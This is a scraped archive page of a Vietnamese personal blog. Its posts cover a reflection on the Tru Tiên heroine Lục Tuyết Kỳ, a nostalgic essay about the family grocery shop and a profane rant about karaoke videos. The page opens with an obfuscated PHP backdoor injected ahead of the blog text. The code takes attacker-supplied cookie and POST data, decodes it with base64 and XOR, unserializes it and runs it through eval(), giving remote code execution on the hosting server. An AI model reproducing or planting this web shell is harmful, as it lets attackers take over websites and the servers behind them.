$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> May 2009 – Page 2 – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Month: May 2009 (page 2 of 2)

Lục Tuyết Kỳ – nhất phiến băng tâm tại ngọc hồ

Bài này viết lâu rồi, từ hồi còn xài bên blog Y360 cơ. Tình cờ hôm nay ngồi lướt lại vài dòng Tru Tiên, lại nhớ tới nàng. Đến giờ, nick YM mà mình thích nhất vẫn là nick luctuyetky…

Lục Tuyết Kỳ

Tôi không tự nhận mình đọc nhiều, những tác phẩm tôi đọc nước ngoài có, trong nước cũng có, truyện ngắn, truyện dài, tiểu thuyết, rất nhiều thể loại… Tôi đã từng suy tư về nhiều nhân vật – đặc biệt là những nhân vật nữ, những bông hoa tươi đẹp nhất trên thế gian này. Tôi đã gặp rất nhiều, đó có thể là những cô gái hồn nhiên, những cô nàng đẹp đẽ, thông minh, hay thậm chí là cả những người phụ nữ khổ tâm, đau khổ, tất cả mỗi người một vẻ. Nhưng đến hôm nay, tôi lại bắt gặp hình tượng một người thiếu nữ tuyệt vời, nàng mang đầy đủ nét đẹp của một giọt sương buổi sớm mai, tinh khiết, trong lành nhưng cũng thật mỏng manh, tình yêu của nàng cũng thế, khắc cốt ghi tâm mãi một bóng hình, mối tình nàng đẹp đẽ bao nhiêu thì lại càng khổ tâm bấy nhiêu, trái tim nàng từng hạnh phúc nhiêu thì nay lại bị dằn vặt bấy nhiêu…

Nhất phiến băng tâm tại ngọc hồ…

Câu thơ trên có vẻ rất đúng với Lục Tuyết Kỳ, cả người nàng luôn toát ra vẻ lạnh như băng, tinh khôi như tuyết… duy chỉ có trái tim của nàng là luôn luôn ấm nóng. Mười năm… điều gì có thể khiến một người con gái khắc cốt ghi tâm hình bóng của một chàng trai suốt mười năm trời ròng rã? Điều gì có thể khiến một cao thủ thuộc hàng nhất lưu trong danh môn chánh phái như nàng đem lòng luyến ái, tưởng nhớ một Huyết Công Tử Quỷ Lệ tàn ác vô biên của Ma Giáo? Điều đó không ai giải thích được, có lẽ ngay cả bản thân nàng cũng vậy. Bởi có một lí do đơn giản… con người ta không thể đem ra mổ xẻ, giải thích chi tiết được tình yêu…

Lục Tuyết Kì ngẩng đầu, nhìn trăng sáng bên trời, lặng yên xuất thần. Vẻ mĩ lệ đó, như một bông hoa tinh khiết dưới ánh trăng.

“Từ lúc ban đầu đó, trong lòng ta đã nhớ đến ngươi”.

Nàng nhẹ nhàng, lặng lẽ thốt.

Hình ảnh nữ tử băng sương lãnh đạm này dưới ánh trăng sáng diễn tả hết lòng mình sao mà đẹp quá! Tình yêu của nàng và hắn đến hầu như ngay từ phút giây đầu tiên nàng đối diện với hắn, phải chăng đó gọi là Một lần gặp gỡ mà thành thiên thu… Thiên thu… hai tiếng đó nghe sao mà dài quá… Mười năm – một đời – thiên thu – trong ba thứ đó thứ nào dài hơn được nỗi nhớ ?

“Đến sau này, chúng ta cùng nhau dưới Tử Linh Uyên Không Tang Sơn, bị Ma Giáo bọn người đó tương sát, lại có âm linh yêu mị vây quanh, ngươi đã bất chấp tính mạng quan tâm ta, cứu ta, ta cũng đã như vậy mà đối với ngươi… “

Ôi Quỷ Lệ ! Giá mà một lần hắn được biết, có bao nhiêu người – dù chỉ là những độc giả biết tới nàng qua những trang sách, vẫn luôn mong được có ngày thế chỗ hắn cùng nàng ở dưới Tử Linh Uyên u tối nhưng tràn ngập ánh sáng của tình yêu – thứ tình yêu không mãnh liệt nhưng nhu mì, không nóng bỏng nhưng dịu dàng, ấm áp đó…

Nàng ! Đẹp biết bao hình ảnh một người con gái mĩ lệ, thanh tú như nàng sẵn sàng làm tất cả vì tình yêu… Tôi còn nhớ hình ảnh nàng ở đầu câu truyện, cùng với hắn tay trong tay ở Không Tang Sơn, dưới một màn đêm tối đen tịch mịch, nguy hiểm nhưng cũng đẹp biết bao! Khung cảnh không lãng mạn nhưng tình người lãng mạn quá. Thiết nghĩ vậy là quá đủ cho hai người có cảm tình với nhau…

“Ngày đó chúng ta thân hãm tuyệt cảnh, sắp chết đến nơi, nhưng ta thực sự không có chút sợ hãi, lúc đó nếu như được chết cùng với ngươi, ta.. “

Nàng quay người, đối diện người con trai đó, trong mắt nàng bừng lên ánh sáng như chưa từng hiện hữu, chưa từng xuất hiện, chính là nghìn vạn nhu tình chôn sâu trong thâm tâm, thậm chí khuôn mặt trắng như tuyết của nàng, cũng ẩn hiện nét phơn phớt hồng, vẻ mỹ lệ chấn động tâm phách.

“… Ta cũng cam tâm tình nguyện! ”

Nàng từ tốn nói, nhưng sự kiên định như đoạn băng cắt tuyết.
Thời gian… liệu thời gian có thể làm con người thay đổi ? Có lẽ không, thời gian chỉ có thể làm tình thế giữa hai con người thay đổi chứ không thể nào đổi được tình cảm của hai người. Tình thế nàng và hắn nay đã khác ! Buồn cho nàng, buồn cho hắn, hay buồn cho cả hai đây ? Giờ đây ước nguyện ngày đó được chết cùng với ngươi của nàng có lẽ đã không còn thực hiện được. Hắn vẫn là hắn, chỉ khác nhau ở cái tên Tiểu Phàm và Quỷ Lệ mà thôi. Nhưng… tình thế hiện nay không còn như mười năm trước. Giờ đây nếu chết thì chỉ có một trong hai phải chết. Người kia sẽ dùng máu của người ngã xuống để có thể đoạn tuyệt thêm một phần của kí ức…

Lục Tuyết Kì cười thê lương, mục quang lu mờ, bóng nàng dưới ánh trăng, mĩ lệ buồn bã.

“Ta không hối hận, mười năm qua, trong tim ta luôn lo lắng cho ngươi. Nếu có thể, ta tình nguyện bỏ hết tất cả, theo ngươi cùng nhau tói nơi chân trời góc biển. Nhưng, cuối cùng cũng không thể được”

Nàng cắn môi, trầm giọng, lặp lại từng chữ

” thật không thể nào, không thể…. “

Chân chính tình cảm trên thế gian phải chăng cũng chỉ có thể tới mức này… Chỉ tiếc… tiếc cho một tình yêu không được trọn vẹn, phải chăng cứ tình đầu là phải dang dở, phải đau khổ như thế này…
Con người sống trên đời đã là một dấu chấm hỏi đầy mâu thuẫn. Cũng đừng oán trách nàng tại sao không vượt qua được cái ranh giới Chính – Tà, cái đối lập muôn thuở đó để đến với người nàng yêu. Nàng là một nữ tử đáng thương, mười năm qua nàng đã khổ quá nhiều, ai biết đằng sau vẻ lạnh lùng của nàng là một trái tim luôn nóng cháy! Tôi không thể trách nàng. Sống trên đời vốn có những chuyện mà con người không muốn làm vẫn cứ phải làm. Bởi đó là đời, và con người vẫn luôn là con người…

Lục Tuyết Kỳ – người thiếu nữ đáng thương của tôi, liệu khi Thiên Gia thần kiếm của nàng xuất vỏ, kiếm của nàng

“Mười năm nay, ta si niệm trong lòng, ở hậu sơn múa kiếm, ” Cô lặng lẽ thốt. “Đêm nay, hãy để ta múa một lần cuối cùng”

điệu múa cuối cùng đó, là ai sẽ ra đi, người ra đi hay tình ra đi, không gian chia cắt hay lòng người rẽ chia ?

Ánh trăng thê lương, không gian tịch mịch… liệu trăng có thể buồn bằng đôi mắt nàng, không gian có thể tịch mịch hơn tâm hồn nàng ? Phải chăng dường như có thể đem toàn bộ nỗi thống khổ trên thế gian gom vào đôi mắt ấy ?

Có ai biết trong phút giây đó nàng nghĩ gì? Nàng tưởng nhớ về kỉ niệm trong quá khứ hay nghĩ về tương lai. Quá khứ mang lại gì cho nàng? Mười năm tưởng nhớ há chẳng đủ chăng? Tương lai thì liệu còn điều gì đáng cho nàng phải mơ mộng?

Ôi! Tại sao những người đa tình trên thế gian đều phải cô đơn, tịch mịch… Đa tình tự cổ không dư hận…

Thương cho nàng….

Cửa hàng tạp hoá

Cửa hàng tạp hoá

(hình ảnh chỉ mang tính minh hoạ – kết quả đầu tiên tìm thấy trên Google với từ khoá “cửa hàng tạp hoá”)

Hôm nay ông cụ ở nhà nhờ in hai tờ giấy A4 chỉ vỏn vẹn vài chữ: NHÀ BÁN, Xin L/L: xxx.xxx.xxxx

Khi in hai tờ giấy ấy, anh chẳng có cảm giác gì khác ngoài tiếng máy in kim (mua từ năm 1998) sao mà kêu to quá, làm chẳng thể nào tập trung đọc sách được. Cho đến chiều nay, sau khi ních no căng bụng một tô bún bò giò heo và một li chè đậu xanh đánh ngoài chợ, anh lò dò bước về nhà.

Nhìn thấy hai tờ giấy mà chính tay mình in (thực ra là nhấn lệnh Print, chứ anh không phải máy in, phỏng ạ!), treo trước “ngôi nhà
của mình”, lần đầu tiên anh ý thức được bốn chữ “ngôi nhà của mình”. Bảy năm đã trôi qua kể từ khi anh chuyển từ một ngôi nhà trong hẻm cụt sâu ơi là sâu về ngôi nhà hiện tại, cũng trong hẻm nhưng không sâu lắm *cười*.

Ấn tượng sâu nhất của anh về ngôi nhà có lẽ, à không, phải dùng từ chắn chắn, là hình ảnh đám tang của bà nội anh, vào một buổi sớm tinh mơ. Khi đấy, trên đường đưa quan tài của bà từ nhà thờ ra nghĩa trang, khi người ta khiêng bà ngang qua nhà, họ dừng lại, và quay đầu về phía cửa nhà, nhún một cái. Hai cụ nhà anh giải thích, ấy là bà đang chào ngôi nhà – nơi bà sống những năm cuối đời, lần cuối cùng. Khi ấy, trong anh có gì đấy nghèn nghẹn…

Anh đang nằm dài, vừa dùng đôi bàn tay thon dài và đẹp vô cùng của mình (chấp các thể loại gái đọ ngón tay với anh ấy *chớp mắt*) gõ những dòng này, vừa mơ màng nghe các bạn cũ của anh là The Carpenters chơi lại bài Yesterday once more ((anh nghe ở link này http://mp3.zing.vn/mp3/nghe-bai-hat/Yesterday-Once-More-The-Carpenters.IW60C7B0.html)). Kí ức của anh lại quay về những thời xa xưa ấy.

Nếu anh còn đang cắp sách tới trường, và lại nếu một lần nữa, đây là bài tập làm văn, thì chắc chắn anh sẽ ăn quả điểm dưới trung bình ngay. Tiêu đề anh nói về một thứ, đoạn trên anh viết về một thứ, và đoạn dưới đây anh lại viết về cái mà tiêu đề anh đã nhắc. Nhưng đấy chỉ là nếu, anh viết ở đây ứ phải là tập làm văn, và cũng chẳng có ông thầy bà cô nào vào đây chấm điểm anh. Nên anh tha hồ mà viết những gì anh thích thôi nhỉ?

Anh biết đến cụm từ “cửa hàng tạp hoá” từ khi anh còn rất nhỏ, đâu chừng hai hay ba tuổi gì đấy. Các nhà khoa học lỗi lạc hình như đã từng kết luận rằng trẻ em dưới ba tuổi thì sẽ chẳng nhớ được gì. Anh thì anh không chắc về điều này lắm.

Ngày ấy, bà cụ nhà anh bán tạp hoá ở một cái cửa hàng to nhất ở huyện anh và cả vài huyện lân cận. Anh không biết suốt thời niên thiếu của 4C ((các cô các chú)), 4C thích gì nhất. Có thể đấy là khi đi mẫu giáo được con bé xinh xinh tóc cột đuôi gà (anh thấy truyện nó hay mô tả thế) kiss một cái vào má, hoặc giả học ngoan cuối tuần được bố mẹ dắt đi công viên chơi. Riêng đối với anh, ngày nhỏ, anh thích nhất là tối được ngủ ở cửa hàng tạp hoá đấy.

Ngày ấy (vẫn là cái ngày mà anh nhắc ở đoạn trên), bà cụ lâu lâu một tay dắt anh, một tay bế con em gái anh đi bộ từ nhà ở trong khu xóm, ra cửa hàng tạp hoá ở gần đường lộ để ngủ lại. Anh rất thích cái cảm giác ngủ trong cửa hàng, mặc dù phải nói là cực kì chật chội, đôi khi đầu và chân phải gác lên những kiện hàng. Nhưng anh còn nhớ, đó là những khoảng thời gian mà trước lúc ngủ, anh thoả sức vui đùa với những món đồ chơi cụ nhà bán. Đó là con chó gục gặc đầu (mà giờ đây các bác tài xế hay để trước xe), hay các con thú mà nhấn công tắc, nó sẽ tự động làm những hành động đã được lập trình trước. Và anh dần dần đi vào giấc ngủ, giữa cái thú vui nho nhỏ ấy, cùng tiếng bánh xe thỉnh thoảng nghiến ken két khi chạy ngang trên đường lộ, đôi khi là tiếng chít chít của bọn chuột nhắt chạy loạn lên.

Ngày ấy (khỏi nhắc nữa nhé), thỉnh thoảng những ngày ngủ ở cửa hàng, vào buổi sáng sớm, khi mà không gian vẫn còn cực kì yên ắng, tiết trời lạnh đến run cả người, anh theo cụ nhà ra đường lộ chờ xe chở hàng. Khi chiếc xe chở hàng tới, khi cánh cửa xe mở ra, từng thùng hàng được thả xuống, anh leo vội ngay lên trên cái thùng đầu tiên rơi xuống, và nằm đấy, nhìn lên bầu trời tối mịt, đôi khi thiêm thiếp ngủ trên đó luôn. Đấy nhé, anh từ hồi còn rất nhỏ đã có cái thú vui tao nhã là nằm dài ra và ngắm bầu trời đầy sao. Anh đồ rằng bọn phim ảnh, truyện tranh, những cảnh sến tương tự ấy là bắt chước từ anh *cười*. À, thú vị nữa là nằm giữa đường nhé. Anh cũng chẳng hiểu có phải là lúc đấy tầm 3, 4h sáng, chẳng có ai nên xe tải mới thả hàng ngay giữa đường không. Cơ mà giờ bảo làm lại, đố anh dám. Có lẽ càng lớn lên, mọi thứ của con người đều phát triển, duy chỉ có lá gan là bé đi.

Khi anh học hết lớp 5, hai cụ nhà anh quyết định phải chuyển nhà lên Sài Gòn. Hai cụ bỏ qua việc buôn bán hết sức thuận lợi, bỏ mặc lời khuyên của bạn bè hàng xóm chỉ vì một câu cho bọn trẻ có tương lai. Lên đây, giữa một thành phố đầy nhộn nhịp và mang hơi thở công nghiệp, hai cụ nhà anh không biết làm nghề gì ngoài việc bán tạp hoá.

Cửa hàng tạp hoá thứ hai của nhà anh, là một ki-ốt trong chợ. Anh thật sự không ấn tượng với nó lắm, có lẽ do anh ít khi ghé vào chơi. Hoặc là ngược lại.

Tới khi anh học lớp 9, nghĩa là tầm năm 2001, hai cụ quyết định mua căn nhà hiện tại, tầng dưới làm chỗ buôn bán, 3 tầng trên để ở. Ừ, và đây là cửa hàng tạp hoá thứ ba của nhà anh.

Việc sống trong một cửa hàng tạp hoá như thế nào? Đấy là một trải nghiệm, mà thật ra, ở đời, có cái quái gì chẳng phải trải nghiệm đâu chứ. Không thể phủ nhận đôi khi anh hơi thấy bực mình vì nhà quá chật, không thể để đủ xe khi bạn bè đến chơi. Không thể phủ nhận, có những lần anh nhìn vào các căn nhà của bọn bạn mà có cảm giác ghen tị. Không thể chối rằng, anh từng ước hai cụ nhà anh làm việc gì khác kiếm được nhiều tiền hơn, để cho anh tiền tiêu nhiều nhiều xíu, để anh có thể ăn xài thoải mái hơn. Đến giờ, khi anh một phần có thể kiếm được chút tiền, chỉ ít thôi, từ việc đi làm thêm của mình, thì anh mới thấy ngày đấy anh quả là một đứa trẻ con *e thẹn*.

Hôm nay, song song với việc đề bảng bán nhà, cụ nhà anh thanh lí toàn bộ hàng hoá, tủ kệ. Anh vừa khênh cái tủ to kềnh càng, vốn để trưng bày dầu gội đầu và sữa tắm sang nhà một bà bạn hàng của mẹ. Khi về nhà, nhìn vào căn nhà trống trải, đúng như hồi đấy anh từng thích, anh lại thấy thiếu vắng một điều gì đó…

Cửa hàng tạp hoá, nó là một phần kí ức – tuổi thơ – tuổi dậy thì và cả tuổi trưởng thành của anh. Nó là tất cả những gì mà hai cụ nhà anh có thể làm, và đã làm, để mang lại cho anh một “tương lai tốt hơn” đúng như lời hai cụ. Và vì thế, cứ coi như đây là bài mà anh cảm ơn nó, không vì gì cũng được, mà nói là vì tất cả cũng được.

Yesterday once more, huh?

B.l.u.e.

Sự vô trách nhiệm của những người làm KOK

Nói chung phát minh ra KOK đã là sai rồi.
Và cái kiểu làm KOK vô trách nhiệm như ở Việt Nam thì càng sai gấp vạn.

Anh biết anh nói hai câu trên, bọn đầu óc vốn bã đậu nhưng ham phùng mỏ lên cãi lại như loài gái, sẽ bâu vào đây mà xỉa xói anh. Anh biết, với vốn ngôn từ chợ búa và điêu ngoa của mình, các gái sẽ nghĩ ra vô vàn lí do để biện hộ cho những thứ tốt đẹp của KOK.

Dĩ nhiên, theo lời anh gợi ý, các bạn anh vào năm 1776 đã từng viết: We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the pursuit of Happiness. ((United States Declaration of Independence – http://en.wikipedia.org/wiki/United_States_Declaration_of_Independence)) nói nôm na là đã lỡ sinh ra trên đời, thì thằng đe’o nào cũng có quyền mưu cầu hạnh phúc, ở trường hợp này thì dịch ra là thằng nào cũng có thể hát KOK nếu nó thích.

Đm, anh đe’o có cấm KOK nhé, anh cũng không nói KOK là xấu nhé, chỉ nói bọn làm KOK ở Việt Nam là vô trách nhiệm, là sai gấp vạn lần, phỏng ạ!

Hát KOK thì nhìn chữ là được rồi, cần nhìn hình làm mẹ gì? Vì vậy bọn con giời ấy lồng hình vào là sai rồi, anh thấy cho kụ nó một cái phông nền màu đen, chữ trắng xanh đỏ tím vàng là ổn. Bọn nó lồng hình không đúng chủ đề thì càng sai gấp bạo.

Chẳng thơm cũng thể hoa nhài
Dẫu không thanh lịch cũng người Tràng An

Bạn anh ngày xưa (anh đe’o nhớ tên) đã từng phát biểu thế. Hà Nội thanh lịch thế, mà bọn nó lấy hình lồng vào KOK, thành ra đm có những bài hát cực kì 4` phạch, viết về thằng chã nào thất tình lồng lộn lên như lợn bị chọc tiết, bọn nó cũng tương vào hình về Hà Nội. Đm chúng nó đe’o biết thế nào gọi là giữ gìn vẻ đẹp ngàn năm văn hiến cho thủ đô à?

Loạn, loạn hết. Anh các gái ngày đấy học lớp 1 trường làng thì cô giáo bỏ đi lấy chồng, chứ không giờ cũng gắng lấy giấy viết nặn ra vài chữ mà gởi lên Sở Văn Hoá Thông Tin cho nó cấm mẹ nó cái thể loại làm KOK vô trách nhiệm ấy đi.

Đm, thật ra là đang thất tình, uống beer, hát KOK mà tình cờ thấy hình Hà Nội, anh nhớ và nhói tim đến mức chỉ muốn quỵ ngã. Dạo này càng già, càng yếu đuối không tả được. Cái đe’o gì gọi là quên được chứ, đm chỉ cần vài câu hát, vài tấm hình về Hà Nội là đủ vật vã thế này rồi. Nhục và hèn đe’o tả được.

Ngày 02/05/2009
B.l.u.e.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.